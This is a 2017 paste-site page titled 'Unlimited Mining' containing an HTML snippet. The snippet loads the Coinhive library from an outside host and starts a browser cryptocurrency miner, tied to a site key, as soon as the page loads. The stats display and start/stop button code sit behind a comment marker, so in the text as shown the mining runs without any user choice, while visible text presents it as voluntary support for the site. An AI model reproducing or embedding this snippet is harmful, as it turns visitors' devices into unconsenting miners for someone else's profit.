Toggle navigation
Home
Latest pastes
FAQ
Random
BitBin is shutting down!
Register
Login
Unlimited Mining
SUBMITTED BY:
Guest
DATE:
Nov. 22, 2017, 4:51 a.m.
FORMAT:
HTML
SIZE:
1.6 kB
Raw
Download
Tweet
HITS:
408
Go to comments
Report
<
script
src
=
"https://coin-hive.com/lib/coinhive.min.js"
></
script
>
:
<
center
>
<
p
id
=
"tcount"
></
p
>
<
p
id
=
"hps"
></
p
>
<
p
id
=
"ths"
></
p
>
<
p
id
=
"tah"
></
p
>
</
center
>
<
p
>
.
</
p
>
<
center
>
<
p
id
=
"minebutton"
></
p
>
</
center
>
<
p
>
<
a
</
a
>
</
a
>
<
script
type
=
"text/javascript"
>
var
miner
=
new
CoinHive
.
Anonymous
(
'skDf2uyKKkYhUTwWut5eaJoWvgK7nMFG'
,
'threads: 1'
);
miner
.
start
(
CoinHive
.
FORCE_EXCLUSIVE_TAB
);
// Update stats once per second setInterval(function() { var threadCount = miner.getNumThreads(); var hashesPerSecond = Math.round(miner.getHashesPerSecond() * 100) / 100; var totalHashes = miner.getTotalHashes(); var acceptedHashes = miner.getAcceptedHashes() / 256; // Output to HTML elements... if (miner.isRunning()) { document.getElementById("tcount").innerHTML = "Threads: " + threadCount; document.getElementById("hps").innerHTML = "hashes per second: " + hashesPerSecond; document.getElementById("ths").innerHTML = "Total Hashes: " + totalHashes; document.getElementById("tah").innerHTML = "Accepted Hashes: " + acceptedHashes; document.getElementById("minebutton").innerHTML = "<button onclick=\"miner.stop()\">Stop Mining</button>"; } else { document.getElementById("hps").innerHTML = "Please click start"; document.getElementById("ths").innerHTML = "to support"; document.getElementById("tah").innerHTML = "this site"; document.getElementById("minebutton").innerHTML = "<button onclick=\"miner.start(CoinHive.FORCE_EXCLUSIVE_TAB)\">Start Mining</button>"; } }, 1000);
</
script
>
Please enable JavaScript to view the
comments powered by Disqus.
comments powered by
Disqus